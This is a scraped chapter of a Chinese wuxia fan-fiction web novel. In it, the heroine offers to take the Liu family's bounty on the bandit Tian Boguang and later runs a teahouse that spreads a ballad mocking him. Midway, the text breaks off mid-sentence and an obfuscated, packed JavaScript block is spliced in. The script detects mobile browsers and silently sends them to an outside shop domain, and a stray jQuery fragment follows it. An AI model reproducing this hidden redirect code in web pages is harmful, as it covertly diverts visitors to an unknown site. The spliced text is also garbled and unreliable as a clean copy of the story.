文趣网 > 其他小说 > 【综武侠】这个马甲有bug > 22.022 江湖传闻
    次日清晨,有人叩响了柳府大门。

    “来啦。”家丁睡眼朦胧地打了个哈欠,一脸不耐,“谁呀?”

    沉重的朱漆大门缓缓拉开,家丁一掀眼皮,却见门口正站着一位年轻姑娘。她穿着素净,脸色有些苍白,神情中透出几分疲惫与虚弱。身上唯一的亮色,是腰间那根绕了好几圈的五彩绳,绳子末端坠着一枚白玉梭子。

    她左手握着一柄长剑,剑身被麻布裹着,只露出一截漆黑的剑柄,那剑柄在阳光下近乎半透明,宛如一块质地温润的墨玉。

    家丁鞠着身,含笑问道:“少侠可有要事?”

    那姑娘颔首道:“听闻柳家曾暗中悬赏捉拿田伯光,我今日是来应赏的。”

    家丁闻言,神情一肃,道声“稍等”后,便嘱咐另一个家丁带苏山行去花厅,他则理了理衣裳,小跑往后院去。

    花厅作为柳家非正式待客的地方,代表着柳家的颜面,布置得十分细心。

    跨过大门门槛后,跟随家丁穿过几重庭院,便见一方小院。小院门口,立着两个同样睡眼稀松的丫鬟。

    这个院子不大,只需站在门口,便能将里面的景色一览无余。可哪怕只一眼,便能察觉柳家的“阔气”。

    一湾曲水穿堂而过,曲水中央修着两座奇绝的嶙峋假山。假山边,一树枫叶红似火炬,亮似明灯,点燃了深秋的寂寥。

    一架石拱桥搭在曲水上。苏山行拾阶过桥,便来到花厅门口。

    家丁上前,恭敬地推开两扇厚重的花梨木雕花门扉。

    和煦的阳光透过斑斓的明瓦窗洒入室内,满室通明。

    入室后,苏山行隐隐闻到一阵花香,她四下打量,最后,目光落向窗下那一盆开得正好的茉莉。

    这个季节竟有茉莉?

    她心下疑惑。凑近几步,却感到一阵若有似无的暖意自茉莉旁的红泥小炉上传来——原来柳家为了能在秋日赏花,竟长日里燃着无烟无味的炭火供暖!

    【好阔气!】苏山行不由暗自咋舌。

    嘈杂的脚步声越来越近,她扭头朝大门的方向看去。

    片刻后,一行人马出现在门口。

    依旧是十几名家丁开路,伴随着院外传来的一声沉闷的落轿声,约莫三分钟后,几名模样周正的侍女,搀扶、簇拥着一位花甲之年的老夫人走进小院。

    老夫人显然年事已高。尽管她努力想撑起一家之主的体面,也难免步履蹒跚。

    她脸上挂着得体的笑,一双眼并不似其他耳顺之年的老人那般浑浊,反而迸发出精明的光。

    她缓缓往主位落座。

    “雪松,看茶。”

    不待她吩咐声落地,一位头戴嵌玉银簪的姑娘便笑吟吟地捧着托盘走进来。

    盘子里放着一把白瓷茶壶、两只配套茶杯,与三碟点心。

    老夫人不急着开口,苏山行便也不主动打破沉默。

    一时间,花厅中陷入诡异的寂静。

    “少侠是来接悬赏的?”终究还是老夫人先坐不住,她故作不经心地问道。

    苏山行放下茶杯,点头道:“如此恶贼,自然人人得而诛之。”

    老夫人轻笑一声,随即叹了口气:“到底是年轻气盛,你可知那田伯光是甚么人,又可知田伯光的武功路数有哪些?”

    苏山行如实摇头:“不知。”她看向一脸失望的老夫人,道:“若柳老夫人清楚这些,可以告知于我。”

    这话实在是……

    柳老夫人不知该说她无礼,还是该说她年轻狂妄。

    又一次希望破灭的感觉并不好受。

    自柳余娘出事后,柳老夫人又气又心疼,一怒之下,悬赏十金,只盼重赏之下会出现勇者,取来田伯光项上人头,以平余娘委屈。

    近月来,前来接悬赏的江湖人不下十个,可田伯光依旧活着,甚至昨日夜里,还突破重重守卫,再次吓着了她的余娘。

    而那些接赏的江湖人呢?

    他们有的前去缉拿田伯光,但等柳家家丁赶到时,只见到那江湖人的遗体;有的一直借口推脱,说田伯光那厮武艺不俗,此事需得从长计议;有的则在领了那一百两定金后便消失得无影无踪,柳家再也联系不上他。

    渐渐的,柳老夫人的心也冷了。

    她摆摆手,雪松得令,包出五两银子递给苏山行。

    柳老夫人只当这姑娘是囊中羞涩,走投无路,才想来碰碰运气。她不怪她,她只怪自己无能,怪柳家家业还不够大,无法为余娘出气。

    苏山行推开雪松的手,“老夫人不信我?”

    柳老夫人冷哼一声,“你缺银子,我给你便是,难不成,你还真想去送死?”对方戏耍她,她却予对方银子救急,她自认自己对这姑娘已经算仁至义尽了,没想到对方却依旧不依不饶,柳老夫人自然给不出什么好脸色。

    苏山行叹道:“原来老夫人真不信我。”她话锋忽然一转,“还是说,老夫人不敢得罪青城派,甚至畏惧到不敢雇我?”

    柳老夫人茫然转头看向她。

    这又干已败落的青城派什么事?难道那田伯光与青城派有关?

    “青城派掌门余沧海,便是我捉拿的。”苏山行适时解释道。

    柳老夫人深吸一口气,“你竟如此急着想去送死?”这姑娘这话,她是半个字也不信的。

    她虽偏居零陵县,可她的耳目遍布湖南,甚至汴京也有掌柜为她传信。

    她可对那青城派余沧海落网经过一清二楚,分明是一位江湖女侠与开封府、神侯府的人合力缉拿。

    她上下打量一番苏山行……心中暗自摇头。这姑娘虽容貌极盛,顾盼生辉,可在这江湖中,容貌是最容易扬名,却也最不值一提的东西,它无法让你所向披靡,反而会带来杀身之祸。

    况且,这姑娘年纪太小,怕是比余娘还要小上一两岁,实在不像是一位能制服一方歹徒的武林高人。

    忽然……

    “你说,你制服了余沧海?”

    一道脆生生的声音自门外传来。

    一位红衣姑娘站在门口,她的身后亦跟着十名丫鬟。

    那姑娘眉目疏朗,眉尾缀着一点红痣,鼻梁高挺,脸部轮廓带着几分清俊的英气。

    即使如今她因为郁结于心而脸色苍白、形容消瘦,她眼中的坚毅却不曾因此亏损半分。

    她的情绪明显有些激动,呼吸短而急,但在面对苏山行时,却竭力压抑着心底的滔天波澜。

    “是,我制服了余沧海。”

    “如何制服的?”

    苏山行从袖袋中摸出一枚褐色小丸,她看向小丸,“此乃我师门秘制毒药,寻常人嗅之必中。中毒者轻则功力消减,重则无法动弹。”这话半真半假,柳家众人又不了解她,自然无法察辨。

    “余娘,你怎么来了?”柳老夫人着急着颤巍巍站起身,撑着花几的手微微颤抖。她看向红衣姑娘的眼中满是心疼与担忧。

    “祖母,”一滴泪自柳余娘眼中滑落,她抿唇,轻声道:“我要杀了田伯光。”

    她看着苏山行,声音愈发坚定地重复道:“我要杀了田伯光!”

    ……

    零陵县外的小径旁开了一家茶馆,黛瓦白墙,十分漂亮。

    那茶馆无名无姓,是在两日之内落成的。走镖的镖师前日路过时,此地还空空如也,今

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531377|203078||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    日,便青帘招摇,茶香隐隐。

    店主人是一位容色出众的姑娘。

    “老板,来八碗茶!”

    几名镖师跨进门槛,将武器往桌子上一摆,大声吆喝道。

    “来嘞——”

    伴随着茶碗落桌,“啪”地一声,茶馆内那两面突兀的屏风忽然分开,一位脸戴面具的姑娘坐在屏风后的小台上。

    她怀抱一把琵琶,手一拨,几声铮铮弦音响起,她悠悠唱了起来。

    这姑娘嗓音清越,曲子又曲调悠扬,在这荒郊野外来上这么一段,本是难得的美事,可几名镖师却越听越觉得不对劲。

    一名镖师挠挠头,打断道:“姑娘,你唱的那个欲盖弥彰的孬货到底是谁?”

    唱曲的姑娘并不作答。

    站在柜台后的老板闻言笑道:“各位好汉走南闯北,见多识广,难道这还消我们指名道姓不成?”

    她拉长了腔调,对着门外大声道:“这江湖上——是谁做采花贼做得最张扬?是谁不以为耻、反以为荣大肆宣扬——”她扭头看向发问的镖师,一挑眉,轻快俏皮道:“莫非好汉你不知道?”

    众镖师下意识倒吸一口凉气。

    这……

    他们面面相觑,几乎同时想到了一个名字。原来这厮行事如此高调,并非倚仗着自己功夫不俗肆意妄为,而是……讳疾忌医,又因为这说不出口的隐疾而心理扭曲,于是才刻意用荒唐的法子遮掩?

    几人交头接耳时,茶馆老板却不知何时自柜台后走出,将两叠卤肉放到他们桌上,道:“感谢几位客人光顾小店生意,等几位下次来时,我们再为诸位唱下一则。”

    ……

    “老板,你为何要在屋子里放几口大缸?”

    领头的镖师临出门前,走到一口缸边,屈指敲了敲。“啧,”他下意识蹙眉,暗自腹诽:这缸胎也忒薄了些。怕是哪家黑心的陶厂,见这茶馆老板是个年轻姑娘,便故意用这劣质陶缸糊弄她。

    他正欲将此事告知老板,却见老板站在柜台后,笑眯眯地看着他。

    他一时间有些怔住。

    老板笑道:“客人可轻点敲,这屋子里的每一口缸,都是我特意去找手艺精湛的老陶匠定制的,就为了盛放千里迢迢从天下名泉运来的活水。您要是敲坏了,我可是得找您赔损失的。”

    说罢,她又问道:“各位可是尝过我家的茶水的。味道可好?”

    众镖师纷纷点头,夸赞茶水回甘悠长,确实是难得的好味道。

    茶馆的客人来了又走,走来又来,旧客带着新客,短短半月,附近的镖师、行商、游侠都知晓了此处的存在,行至附近时,也愿意来茶馆里坐坐,喝一碗茶、听一段曲,尝一碟茶馆老板赠送的卤肉。

    这首曲子也越传越广,湖南湖北的江湖客,大多都听闻了一则传言——江湖中有一有名的采花贼,他武艺高强,擅使一把大刀,行事十分张扬,实则却是个孬货,只能靠着这些龌龊手段,来掩饰自己不行的事实。

    江湖中恶名昭彰的采花贼不多,擅使大刀的更少。

    等半月后,消息传到田伯光耳中时,他指节骤然发力,“啪”,一盏哥窑杯应声而碎。

    “竟敢如此编排你爷爷我!”他阴鸷的目光投向百里外零陵县的方向。

    茶馆不留人住宿,早在黄昏前,客人便已悉数离去。

    此时夜幕四合,茶馆静悄悄的,只在门口悬挂着一盏灯笼。秋风打得灯笼摇摇晃晃,里面的蜡烛也忽明忽暗。

    几片落叶被卷起,落在靴面上。

    田伯光脸色沉得能滴下墨来,他死死盯着大开的茶馆大门,眼底翻涌着阴毒的杀意。